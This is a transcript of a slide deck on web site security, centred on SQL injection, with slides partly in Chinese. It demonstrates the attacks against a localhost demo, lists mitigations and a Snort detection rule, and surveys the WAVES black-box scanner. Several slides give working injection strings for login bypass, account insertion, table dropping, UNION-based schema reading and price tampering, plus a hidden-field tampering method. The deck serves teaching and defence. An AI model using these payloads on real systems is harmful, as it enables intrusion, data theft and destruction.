Web site security Part 1 : SQL Injection

54
1 Web site security Part 1 : SQL Injection Reporter : James Chen

description

Web site security Part 1 : SQL Injection. Reporter : James Chen. Outline. Web site security SQL Injection overview Web application security scanner (WSS) overview SQL injection detection Security assessment tool. Web site security. SQL injection Cross site scripting Directory traversal - PowerPoint PPT Presentation

Transcript of Web site security Part 1 : SQL Injection

Page 1: Web site security Part 1 : SQL Injection

1

Web site securityPart 1 : SQL Injection

Reporter : James Chen

Page 2: Web site security Part 1 : SQL Injection

2

Outline

Web site security SQL Injection overview Web application security scanner (WSS) o

verview SQL injection detection Security assessment tool

Page 3: Web site security Part 1 : SQL Injection

3

Web site security

SQL injection Cross site scripting Directory traversal Authentication Parameter manipulation

Page 4: Web site security Part 1 : SQL Injection

4

SQL injection

SQL injection is a hacking technique which attempts to pass SQL commands through a web application for execution by a backend database.

Hackers exploit the possibility of chained SQL commands with user-provided parameters, and then embed SQL commands inside these parameters.

Using this method, a web application which is open to a SQL injection attack allows a hacker to execute arbitrary SQL queries and/or commands on the backend database server through the web application.

Page 5: Web site security Part 1 : SQL Injection

5

Cross site scripting attack

Cross-site scripting is gaining popularity among attackers as an easy vulnerability to find in web sites and exploit. The threats of cross-site scripting: Users can unknowingly execute malicious scripts when viewing

dynamically generated pages based on content provided by an attacker. An attacker can take over the user session before the user's session

cookie expires. An attacker can connect users to a malicious server of the attacker's

choice. An attacker can supply a user with a URL and convince that user to

access it, which would enable the attacker to cause his own choice of script or HTML to be executed in the user's browser. Using this technique, an attacker can take actions using the privileges of the user who accessed the URL, such as issuing queries on the underlying SQL databases and viewing the results, and exploiting known faulty implementations on the target system.

Page 6: Web site security Part 1 : SQL Injection

6

Directory traversal attacks

In a directory traversal attack, hackers supply a specially crafted filename to a program (usually a server) that allows them to access files in areas of the file system that should be unavailable.

Page 7: Web site security Part 1 : SQL Injection

7

Parameter manipulation

Parameter manipulation targets the business logic and can be used if the programmer has relied on hidden or fixed fields as the main security measure (for example, a hidden tag in a form or a parameter in a URL). Hackers can then modify these parameters to bypass the security

Page 8: Web site security Part 1 : SQL Injection

8

Authentication attacks

An authentication attack is a brute force attack on a web application that requires authentication. A range of user names and passwords are attempted in order to attempt authentication.

Page 9: Web site security Part 1 : SQL Injection

9

SQL Injection overview

SQL Injection 攻擊模式入侵登入畫面植入帳號刪除資料表偷取資料表資訊修改資料表記錄

Page 10: Web site security Part 1 : SQL Injection

10

入侵登入畫面

欲執行的 SQL 敘述 SELECT count(*) FROM Members WHERE UserName = 'J

ohn' AND Password ='ABC'

Page 11: Web site security Part 1 : SQL Injection

11

直接入侵 不良的 SQL 敘述寫法

SELECT count(*) FROM Members WHERE UserName ='" & _

txtUserName.Text & "' AND Password ='" & _

txtPassword.Text & "'“

在 [ 帳號 ] 欄位輸入以下的資料就可以登入成功 : ' OR 1=1—

程式所執行的 SQL 敘述變成 :SELECT count(*) FROM Members WHERE UserName = ''

OR 1=1 – And Password = ''

Page 12: Web site security Part 1 : SQL Injection

12

植入帳號與刪除資料表 在 [ 帳號 ] 欄位輸入以下的資料就可以新增駭客帳

號 :

';insert into Members(UserName, Password) Values ('hacker', 'foo')—

權限足夠的狀況下 , 在 [ 帳號 ] 欄位輸入以下的資料就可以刪除 Members 資料表 :

';drop table Members --

Page 13: Web site security Part 1 : SQL Injection

13

不需要密碼也可以登入 在 [ 密碼 ] 欄位輸入以下的資料就可

以成功登入 :

aaa' Or UserName Like '%

程式所執行的 SQL 敘述變成 :SELECT count(*) FROM Members WHERE UserName = ''

And Password = 'aaa' Or UserName Like '%'

Page 14: Web site security Part 1 : SQL Injection

14

利用 Url 傳遞網頁執行需要的參數

http://localhost/GoodSupplierProduct/Products.aspx?SupplierID=1http://localhost/GoodSupplierProduct/Products.aspx?SupplierID=1

Page 15: Web site security Part 1 : SQL Injection

15

不良的程式寫法 Dim strSQL As String = “SELECT * FROM Produ

cts WHERE Supplierid=” & _   Request("SupplierID").ToString()

Page 16: Web site security Part 1 : SQL Injection

16

查詢 SQL Server 的版本 在網址列輸入 : http://localhost/BadSupplierProdu

ct/Products.aspx?SupplierID=9999 union all select null, @@ServiceName, null, null, @@version, null, null, null, null, null

Page 17: Web site security Part 1 : SQL Injection

17

讀取資料庫的資料表 在網址列輸入 : http://localhost/BadSupplierProdu

ct/Products.aspx?SupplierID=9999 union all select null, name, null, null, null, null,null,null,null,null from sysobjects where xtype='u'

資料表名稱

Page 18: Web site security Part 1 : SQL Injection

18

讀取資料表的欄位在網址列輸入 :   http://localhost/BadSupplierProduct/Pr

oducts.aspx?SupplierID=9999 union all select null,name,null,null,null,null,null,null,null,null from syscolumns where id=object_id('Products') and colid=1

欄位名稱

Page 19: Web site security Part 1 : SQL Injection

19

修改資料表記錄在網址列輸入 :   http://localhost/BadSupplierProduct/Pro

ducts.aspx?SupplierID=9999;update Products set UnitPrice=1 Where ProductID=1

Page 20: Web site security Part 1 : SQL Injection

20

防堵 SQL Injection 攻擊的基本原則 ( 一 ) 將使用者輸入資料當做參數傳給 SQL 敘述或 Stored

ProcedureSQL敘述或是 Stored Procedure中使用 EXEC敘述執行使用者輸入的內容需更進一步防範

如果無法將使用者輸入資料當做參數傳給 SQL 敘述或 Stored Procedure

使用 Regular Expression驗証使用者輸入的資料的格式

限制使用者輸入的資料的長度限制使用者登入資料庫的帳號的權限去除使用者輸入資料中的“ --”(SQL敘述的註解 )將使用者輸入的單引號置換成雙引號

Page 21: Web site security Part 1 : SQL Injection

21

將使用者輸入的單引號置換成雙引號的效果 例如原本欲執行的 SQL 敘述為 :

Select count(*) from Members where UserName='John' And Password='ABC'

使用者在 UserName 欄位輸入 [' Or 1=1 -- ]未將使用者輸入的單引號置換成雙引號 , 上述的 SQL敘述執行的結果為Members資料表的總筆數

將使用者輸入的單引號置換成雙引號 , 上述的SQL敘述執行的結果為 0

Page 22: Web site security Part 1 : SQL Injection

22

防堵 SQL Injection 攻擊的基本原則 ( 二 )

限制應用程式或網頁只能擁有執行 Stored Procedure 的權限 , 不能直接存取資料庫中的 Table 和 View

使用 [Windows 整合安全模式 ] 登入資料庫 , 避免使用系統管理員身份登入資料庫

設定 TextBox 欄位的 MaxLength 屬性

加強對資料庫操作的稽核

Page 23: Web site security Part 1 : SQL Injection

23

Hidden Field Tampering 攻擊法 Hidden Field Tampering 攻擊模式

把 HTML Form 存到硬碟竄改 Hidden 欄位的內容值將竄改過的 Form 重送到 Web Server

Page 24: Web site security Part 1 : SQL Injection

24

BadMotor.com

使用隱藏欄位在網頁中傳遞資料

Page 25: Web site security Part 1 : SQL Injection

25

檢視帶有隱藏欄位的網頁的 [ 原始檔 ] 另存新 HTML 檔案 修改存檔內容<form name=“Form1” method=“post” action=“http://IP 位址 /Ba

dMotor/Confirm.aspx?MotorID=1” id=“Form1”>

<input name="HiddenPrice" id="HiddenPrice" type="hidden" value="1000000" />

</form> 使用 IE 開啟另存的 HTML 檔案 執行 Submit

隱藏欄位中的資料被竄改的情形

竄改成竄改成

Page 26: Web site security Part 1 : SQL Injection

26

Web application security scanner (WSS) overview

WSSs operate according to three constraints:1. Neither documentation nor source code will be a

vailable for the target Web application.2. Interactions with the target Web applications an

d observations of their behaviors will be done through their public interfaces.

3. The testing process must be automated and testing a new target system should not require extensive human participation in test case generation.

Page 27: Web site security Part 1 : SQL Injection

27

SQL injection detection

Typical validation procedureAnti-SQL-Injection.phpTo take the popular open-source IDS SnortBlack-box approach

Page 28: Web site security Part 1 : SQL Injection

28

Typical validation procedure If Length(strUserName )< 3  OR Length(strUserName) > 20

ThenOutputError(“Invalid User Name”) ElseIf Length(strPassword <6) OR Length(strPassword) > 11 T

henOutputError(“Invalid Password”) Else BeginSQLQuery = “SELECT * FROM Users WHERE UserName

='” + strUserName + “AND Password='” + strPassword + “';”

If GetQueryResult(SQLQuery) = 0 Then bAuthenticated = false;

Else bAuthenticated = true;End;

Page 29: Web site security Part 1 : SQL Injection

29

Anti-SQL-Injection.php

<?function anti_injection($sql){// remove palavras que contenham sintaxe sql$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|dro

p table|show tables|#|\*|--|\\\\)/"),"",$sql);$sql = trim($sql);//limpa espacos vazio$sql = strip_tags($sql);//tira tags html e php$sql = addslashes($sql);//Adiciona barras invertidas a uma stringreturn $sql;}//modo de usar pegando dados vindos do formulario$nome = anti_injection($_POST["nome"]);$senha = anti_injection($_POST["senha"]);?>

Page 30: Web site security Part 1 : SQL Injection

30

To take the popular open-source IDS Snort

Detection of SQL Injection and Cross-site Scripting Attacks by K.K. Mookhey and Nilesh Burghate , URL: http://www.securityfocus.com/infocus/1768/ To take the popular open-source IDS Snort, and compose regular-expre

ssion based rules for detecting SQL Injection and Cross-site Scripting Attacks.

To avoid high number of flase positive, the signatures can be midified. Regex for detection of SQL meta-characters /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix </TD< tr> To detect either the hex equivalent of the single-quote, the single-quote i

tself or the presence of the double-dash. The above regular expression would be added into a new Snort rule as f

ollows: alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORT

S (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;) </TD< tr>

Page 31: Web site security Part 1 : SQL Injection

31

Black-box approach Huang, Y. W., Huang, S. K., Lin, T. P., Tsai, C. H. “Web

Application Security Assessment by Fault Injection and Behavior Monitoring.” In Proc. 12th Int’l World Wide Web Conference, p.148-159, Budapest, Hungary, 2003. To develope WAVES—a testing platform for remote,

black-box testing of Web application security. Adopting a black-box approach in order to analyze W

eb applications externally without the aid of source code.

Using crawler to discover all pages in a Web site that contain HTML forms, since forms are the primary data entry points in most Web applications.

Page 32: Web site security Part 1 : SQL Injection

32

Black-box approach (cont.) During the reverse engineering process, HTML pages

are parsed with a Document Object Model (DOM) parser, and HTML forms are parsed and stored in XML format.

An attempt was made to inject malicious SQL patterns into the server-side program that processes the form’s input. We referenced the existing literature on SQL injection techniques to create a set of SQL injection patterns.

If the server-side program detects and filters malicious patterns, or if the filtering mechanism is provided on a global scale, then injection will fail.

Page 33: Web site security Part 1 : SQL Injection

33

SQL injection detection

Complete crawling Bypass the validation procedure Test set generation and output analysis Injection patterns and error messages

Page 34: Web site security Part 1 : SQL Injection

34

Complete crawling

“Complete crawling” mechanism to attempt more complete crawl, that is, all data entry points must be correctly identified.

To look at ways that HTML pages reveal the existence of other pages or entry points.

A ‘‘deep injection’’ mechanism to eliminate these types of false negatives.

Page 35: Web site security Part 1 : SQL Injection

35

HTML pages reveal the existence of other pages or entry Points

Page 36: Web site security Part 1 : SQL Injection

36

Bypass the validation procedure The Topic Model The Injection Knowledge Manager (IKM)

Page 37: Web site security Part 1 : SQL Injection

37

Injection Knowledge Manager (IKM) IKM must decide

not only on which variable to place the injection pattern, but also how to fill other variables with potentially valid data

Page 38: Web site security Part 1 : SQL Injection

38

Bypass the validation procedure

Using injection Knowledge Manager (IKM) Only query (and not browsing) interfaces

are provided, these types of document repositories cannot be indexed by current crawling technologies.

Page 39: Web site security Part 1 : SQL Injection

39

Test set generation and output analysis

Using our KB, The IKM implements four algorithms Get_Topic(), Get_Value(), Expand_Values() and Feedback().

Get_Topic(^t) :checks whether a topic can be associated with^t.

Get_Value() to retrieve the best possible guess, where^t is the term (variable name or descriptive keyword) associated with the text box.

Expand_Values() :expands the knowledge base. Feedback():If injection secceed , save input valu

e.

Page 40: Web site security Part 1 : SQL Injection

40

Expand_Values() example The topic Company, STerm_Company = {“Company,“ “Firm”} SValue_Company = {“IBM,” “HP,” “Sun,” “Lucent,” “Cisco”}. input variable “Affiliation” that is associated with SValue_Input =

{“HP,” “Lucent,” “Cisco,” “Dell”}. The crawler calls Expand_Values() with “Affiliation” and SValue

_Input. After failing to find a nearest term for “Affiliation,” the Knowledg

e Manager notes that SValue_Company is very close to SValue_Input, and inserts the term “Affiliation” into STerm_Company and the value SValue_Input - SValue_Company = {“Dell”} into SValue_Company.

Both STerm_Company and SValue_Company are expanded.

Page 41: Web site security Part 1 : SQL Injection

41

Injection patterns and error messages

WAVES injection patterns are crafted not to intrude a vulnerable entry point (e.g., executing a SQL command), but to make it output database error messages.

If an entry point outputs database error messages in response to a particular injection pattern, it is vulnerable to that pattern.

We search for a particular string in an HTML output to detect database error messages.

Page 42: Web site security Part 1 : SQL Injection

42

WAVES injection patterns

Page 43: Web site security Part 1 : SQL Injection

43

Database error messages

Page 44: Web site security Part 1 : SQL Injection

44

Output analysis

Negative Response Extraction (NRE) algorithm. If an initial injection fails, the returned page is saved a

s R1. The crawler then sends an intentionally invalid reques

t to the targeted Web application–for instance, a random 50-character string for the UserName variable. The returned page is retrieved and saved as R2.

Finally, the crawler sends to the Web application a request generated by the IKM with a high likelihood of validity, but without injection strings. The returned page is saved as R3.

Page 45: Web site security Part 1 : SQL Injection

45

Page 46: Web site security Part 1 : SQL Injection

46

WAVES’ system operation

The crawlers act as interfaces between Web applications and software testing mechanisms.

The crawlers were equipped with IE’s Document Object Model (DOM) parser and scripting engine to exhibit the same behaviors as browsers.

Events is triggered by our test cases or by Web application errors.

This is accomplished by three strategies–browser emulation, user event generation, and automated form completion.

Page 47: Web site security Part 1 : SQL Injection

47System architecture of WAVES.

Page 48: Web site security Part 1 : SQL Injection

48

Other security assessment tool

WebScarab is designed to be a tool for anyone who needs to expose the workings of an HTTP(S) based application, whether to allow the developer to debug otherwise difficult problems, or to allow a security specialist to identify vulnerabilities in the way that the application has been designed or implemented.

Page 49: Web site security Part 1 : SQL Injection

49

Security assessment tool (cont.)

AbsintheAbsinthe is a GUI based tool designed to auto

mate the process of blind sql injection. It works by profiling response pages as true or false from known cases, then moves on to identify unknowns as true or false.

Page 50: Web site security Part 1 : SQL Injection

50

Absinthe

Page 51: Web site security Part 1 : SQL Injection

51

Absinthe (cont.)

Page 52: Web site security Part 1 : SQL Injection

52

Summary

I have introduced some SQL injection detection methods.

In order to detect SQL injection attack, I think black-box method is a better method.

Automatic black-box method should include some features : complete crawling ,bypass the validation procedure, and automatic output analysis according output error messages.

Page 53: Web site security Part 1 : SQL Injection

53

False positives v.s. False negatives

主動錯誤訊息 (false positives) 指的是當組織由於惡意活動而被通知警報時候,經檢查其實沒有任何事情發生。

被動錯誤訊息 (false negatives) 就是對於真實的惡意攻擊者或者未授權活動偵測失敗。

Page 54: Web site security Part 1 : SQL Injection

54

Reference

Yao-Wen Huang ,Chung-Hung Tsai, Tsung-Po Lin,Shih-Kun Huang a,c, D.T. Lee, Sy-Yen Kuo “A testing framework for Web application security assessment”, Computer Networks 48 (2005) 739–761

Y.W. Huang, S.K. Huang, T.P. Lin, C.H. Tsai, Securing Web application code by static analysis and runtime protection, in: Proceedings of the 13th International World Wide Web Conference, New York, May 17–22, 2004.

Y.W. Huang, F. Yu, C. Hang, C.H. Tsai, D.T. Lee, S.Y. Kuo, Verifying Web applications using bounded model checking, in: Proceedings of the 2004 International Conference Dependable Systems and Networks (DSN2004), Florence, Italy, June 28–July 1, 2004.

Raghavan, S., Garcia-Molina, H. “Crawling the Hidden Web.” In: Proceedings of the 27th VLDB Conference (Roma, Italy, Sep 2001), 129-138. LITE algorithm